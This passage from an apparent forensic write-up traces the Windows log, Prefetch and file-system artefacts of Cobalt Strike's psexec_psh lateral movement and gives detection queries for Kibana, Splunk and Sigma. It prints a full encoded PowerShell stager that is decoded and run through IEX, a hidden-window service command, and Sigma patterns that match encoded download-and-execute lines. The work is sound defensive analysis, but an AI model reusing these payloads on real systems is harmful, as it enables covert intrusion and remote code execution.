13:45:07.730 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:45:07.732 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘ |
13:45:07.904 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:45:07.904 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘ |
The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.
Time | Description |
---|---|
13:46:23.310 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5) from logon type=3 |
13:49:28.185 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3) from logon type=3 |
Winevtx – PowerShell
The jump psexec_pth
command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.
N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning4.
It is important to note that the event 4104 will be generated only when a user starts a new session using the PowerShell remoting feature, and not when a session is started using the jump winrm64
command in Cobalt Strike. All 29 events 4104 have been merged into a single event in the following timeline.
Time | Description |
---|---|
13:45:09.308 | [evtx/powershell/40961] A new PowerShell runspace has been created |
13:45:09.834 | [evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’ |
13:45:10.240 | [evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.240 | [evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.240 | [evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.286 | [evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.286 | [evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.286 | [evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is Started. |
13:45:10.348 | [evtx/powershell/400] The PowerShell engine state hosted by application powershell -nop -w hidden -encodedcommand <base64enc_payload> is changed from ‘None’ to ‘Available’. |
13:45:10.387 | [evtx/powershell/40962] A PowerShell runspace have been closed |
13:45:10.681 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘7998c69a-4170-4f37-afb8-ef7ce9a2533c ‘ is executed (1 block) |
13:45:11.213 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘23fe9a7e-31ee-473b-bcb0-8bd7c9b9ca38 ‘ is executed (1 block) |
13:45:11.246 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C323C’ is executed (1 block) |
The last two PowerShell scriptblocks are similar to the one seen for the jump winrm64
command with the two functions, func_get_proc_address
and func_get_delegate_type
, which are used to dynamically load and execute unmanaged code with a specific signature in a managed environment.
The first PowerShell scriptblock decodes and decompresses a base64-encoded and gzip-compressed payload, reads the resulting data as a string, and then executes it as a PowerShell command using the IEX
cmdlet. This code is the one that appears as an argument to the PowerShell command powershell -nop -w hidden -encodedcommand <base64enc_payload>
(running in a hidden window with « NoProfile »).
$s=New-Object IO.MemoryStream( [Convert]::FromBase64String("H4sIAAAAAAAA/61W73PaOBP+HP4KfciM7SlQEnJp6E1nym/MC4TEJKHlGEbIMjERFkiywVz7v78rG3P0mrxvZ+4yw0SWdle7zz67K4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qp/QZyPnhQFRelsvZguqZmvByQy7rqBSoj9zZ0Ms8AqZ5xEWsxV3Q0bzKPnQgtQNBbXOznJnyVYYSOzRWYCVH9HZiqpn7kq4yJxU1+sGX2E/mH78WA+FoIFKv4ttqqpS0tWc+VSaFvqGnp6poIXb+ZIShf5E57Nim/E5ZgexuI7JMwRUDVx91uME6wiKzpr5yjT++MOwJoWLabG5CTGTpuHEUtFV0WXMsNB3S184itfUNPo+EVxyTxWf/KB8WXxIvB8kzvdT3w3rENlijSGOt4PUVlMd04DlELCpphgaeTTR902mU/T56M19GCh/RYt2oKjga4eKyCdUFjs4cBm9px6oGRLSFywMC5wQVIUiQJkvoBfxF2qeByFjebA7+VW7U3NAtxm4v6pkniqB1FAJK3/gxK/A0U94k5qDcH7y/oRcFvz9RDAr9z33ClVdyugCKzpTgO8JV3NnZ5NkSSEec8iln+h9QqU86oMTWHER63SOREit6V/5Sa/NNGX+TUMXmdZBJ01P6scnNHnkvjvNnVm5A3v0/mwe+sylQp+/XQ0N6vkBbcQBXvkkI7z5Ws6ox2iCRzETG4CfpnE4oG7jgI6hAZ38rNZc+eqoW0udqxLIuwSvgBLWj86kOTQNO+jTFeCXfgNNzz0oM5pJH0orzm7X35rLdYalzKNhCHVO8sihmFE3j6qB9A9H1VDxZGn85W4/ZMonWKrM3NR6BdLD1XUeQMWEBLILMIycNSU+ZhqVPOr4Lq3Fjr/IXDBexaSOGYOSA0sR5AR2NBaO0pwRbv7v/LCKDlX2as3oCqSTLtRieAE951BRCd3wgrrG/3A7q5O0KDRWGUgnTgMBHMZVHj36QkFfM/I/Ee+fufdji/nBzbqgh0SaSSFOarHS5ZJIEj1cPh2xTJATClBrCb6qYUmvr5ykjZlG+Sbc2HF/eXct2s2o1dl0miP4RfArb1rNXq97v67d90gzvB12Sl3PvrtpXIXb0A5HtVK5VQK5/abd9Ozoln+5CFdXF+7ajgawJz9sOrJhR41q53LDW9cLv3Kwk+rfzbcX87Hd+jBvt646j7Kl5Tt2VGtt6hUO6/d2VOdd0Lu5Xge1rXtFm91rOu6RbVndULzYxf95fNcMB90vJbnsQwxOZU+69UHXLqkPz+VGuzz8uo+5XNrx4LdmuI7Ji1y+xGTpxLejbgxyLy/McWo75/Lr6P3QI5Xglg+2btcut3r10o5u3f3lOhyMRw8vS8cB+WvR4rcPwUa2F1dOyMdbEsH+heO4OxcCi8bxl/IQc3dL9sl+3G/A3adngA8pb9o3HYgrqMU9sfEJYE46/bj3HA+dxKbbjJaX3gcP/C85754u1p0OqWxA/vo5qsUSXzHy4lRunxbjMamoXae2H/bIYE/Kncr7xrgyctig7V3UxnfMfXrobOd3zqDSeAz3mlEeFzAjdrrv/o7gf4EpdOQMMAVIqPffvbN07z6eTM5302zWHr8L8x1YK/+m+ZecRPiEdW8NsD4W8hkzYCMMoayFtLhoHUbJkPtawzRff/28UBFQBi8DeDtkhVdljBM9/N6YQjCK0wE5hQbzAMvy5asrCx0FYeKlMc1Dz0sGxCHCbE5mgh8/foXw8icg9miwUM95VNqVS6WS/n9VsnK/Dkudr2PzaC6vB+SJJ6c3seQm64C+CIMV/RcT8MOl/x9aDV4yY4/QJQ69jpeVMz7ncraHTvalv4cXJN2gm4R7UmGhCks+h+dm0j/Nc2whuzlG5xh9RwUIryrLl/DmFItQN1OUPqG/oS32U8Vv6J4SCk+gQpfPgaUUZqI2nRjRwrD3X1pq1riTCwAA"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Once decoded and decompressed, the payload gives us the PowerShell script that will be executed. The code checks if the operating system is running on a 64-bit architecture and executes a PowerShell script block using a 32-bit PowerShell process if necessary, otherwise it executes the script block in the current process. The payload stored in $DoIt
is similar to the one seen for the other ones with the two functions, func_get_proc_address
and func_get_delegate_type
, used to dynamically load and execute unmanaged code with a specific signature in a managed environment.
<pre><code><span class="nb">Set-StrictMode</span> <span class="n">-Version</span> <span class="n">2</span>
<span class="nv">$DoIt</span> <span class="p">=</span> <span class="sh">@'</span>
<span class="sh">... PowerShell script ... </span>
<span class="sh">'@</span>
<span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">start-job</span> <span class="p">{</span> <span class="k">param</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span> <span class="nb">IEX </span><span class="nv">$a</span> <span class="p">}</span> <span class="n">-RunAs32</span> <span class="n">-Argument</span> <span class="nv">$DoIt</span> <span class="p">|</span> <span class="nb">wait-job</span> <span class="p">|</span> <span class="nb">Receive-Job</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="nb">IEX </span><span class="nv">$DoIt</span>
<span class="p">}</span>
</code></pre>
Winevtx – Service Control Manager
The beacon runs as a service, so the PowerShell activity seen above is also recorded by the Service Control Manager (SCM) with the installation of a randomly-named1 service (event ID 7045). Although the randomness of the service name makes writing a detection rule complicated, the mentions of %COMSPEC%
and powershell -nop -w hidden -encodedcommand
in the program run by the service makes it easier to spot.
Time | Description |
---|---|
13:45:07.755 | [evtx/sys/scm/7045] Service ‘4b3d5bc’ (%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload> ) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start) |
Prefecth – Program execution
Since both of the Command Shell and PowerShell consoles are used, two Prefetch files are generated or edited, one for the cmd.exe
process and the other for the PowerShell.exe
process. In some cases, other Prefetch files may be modified or created depending on the command run by the Cobalt Strike beacon, such as conhost.exe
here.
Time | Description |
---|---|
13:45:07.771 | [prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: \WINDOWS\SYSWOW64\CMD.EXE hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd} ] |
13:45:07.803 | [prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: \WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd} ] |
13:45:07.898 | [prefetch] Prefetch [CONHOST.EXE] was executed – run count 29 path hints: \WINDOWS\SYSTEM32\CONHOST.EXE hash: 0x1F3E9D7E volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}] |
It is important to mention that the presence of the cmd.exe
and powershell.exe
processes alone is not necessarily an indication of malicious activity.
File System – MFT
No additional information is provided by the MFT, but it confirms the use of the Command Shell and the PowerShell consoles, by modifying not only the Prefetch files, but also the executables.
Time | Description |
---|---|
13:45:07.755 | [fs/mft][.a..] File \Windows\SysWOW64\cmd.exe ($STANDARD_INFORMATION), MFT:53610-1 |
13:45:07.833 | [fs/mft][macb] File \Windows\Prefetch\CMD.EXE-AC113AA8.pf ($FILE_NAME), MFT:110491-2, PARENT: 93711-2 |
13:45:07.833 | [fs/mft][…b] File \Windows\Prefetch\CMD.EXE-AC113AA8.pf ($STANDARD_INFORMATION), MFT:110491-2 |
13:45:08.192 | [fs/mft][..c.] File \Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe ($STANDARD_INFORMATION), MFT:56216-1 |
File System – USN journal
The USN artefacts provide the same information as the Sysmon Event ID 11 (file created). Prefetch files for cmd.exe
and powershell.exe
are created and a PowerShell test script is generated.
Time | Description |
---|---|
13:45:07.833 | [fs/usnjrnl] File \Windows\Prefetch\CMD.EXE-AC113AA8.pf USN_REASON_FILE_CREATE |
13:45:07.833 | [fs/usnjrnl] File \Windows\Prefetch\CMD.EXE-AC113AA8.pf USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:07.833 | [fs/usnjrnl] File \Windows\Prefetch\CMD.EXE-AC113AA8.pf USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:09.508 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1 USN_REASON_FILE_CREATE |
13:45:09.520 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1 USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:09.520 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1 USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:09.520 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1 USN_REASON_FILE_CREATE |
13:45:09.520 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1 USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:09.520 | [fs/usnjrnl] File \Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1 USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:45:17.990 | [fs/usnjrnl] File ¨C361C USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION |
13:45:17.990 | [fs/usnjrnl] File ¨C362C USN_REASON_DATA_TRUNCATION |
13:45:17.990 | [fs/usnjrnl] File ¨C363C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION |
Conclusion
The default Cobalt Strike jump
command with psexec_psh
is fairly easy to detect because it creates a service with a random name2 with an embedded PowerShell command, so many PowerShell logs are generated to capture the full PowerShell staging payload. Unlike the jump psexec64
command, which also uses a service, the payload of the jump psexec_pth
command is not dropped on the system but encoded in a PowerShell command.
Detection Rule Example
The timeline is processed using plaso
(https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The available fields and their names may vary depending on how you use log2timeline
and psort
.
Kibana
The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.
parser : "winevtx" and source_name : "Service Control Manager" and eid : 7045 and message : *%COMSPEC%*powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( CMD.EXE* or POWERSHELL.EXE* or *__PSScriptPolicyTest_* )
parser : ( "prefetch" or "mft" ) and message : ( *CMD.EXE* or *POWERSHELL.EXE* )
Splunk
Many rules can be created to detect this command.
- Search for the
cmd.exe
andpowershell.exe
Prefetch files; - Search for a logon connection followed by a service installation (like the
remote-exec psexec
rule created in part 1); - A mix of rules 1 and 2, etc.
host="*" index="*" parser=winevtx eid=7045 service_path="*%COMSPEC%*"
| table _time host message
| sort _time
Sigma
A Sigma rule already exists for this event sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma.
sigma-cli >>> sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules [####################################] 100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")
Part 2 – Conclusion
The three built-in jump
commands tested are fairly easy to detect in a default Windows 10 workstation without any particular audit policies enabled.
The psexec64
and psexec_psh
built-in commands are the easiest to detect because they are both executed as a service (with a random name2). For the psexec64
command, the ImagePath service pointed to a binary on the C:\Windows
directory (previously copied), and for the psexec_psh
command, it pointed to a PowerShell one-liner payload (base64-encoded and gzip-compressed).
The winrm64
built-in command is a little bit harder to detect because it does not use services, but should be fairly easy to detect because the PowerShell event ID 4104 is generated by AMSI and the full PowerShell payload is captured. In addition, a WinRM event (event id 91) is generated to warn that a connection is received.
To detect lateral movements even more efficiently, we advise installing Sysmon with a custom configuration and/or activating the relevant audit policies.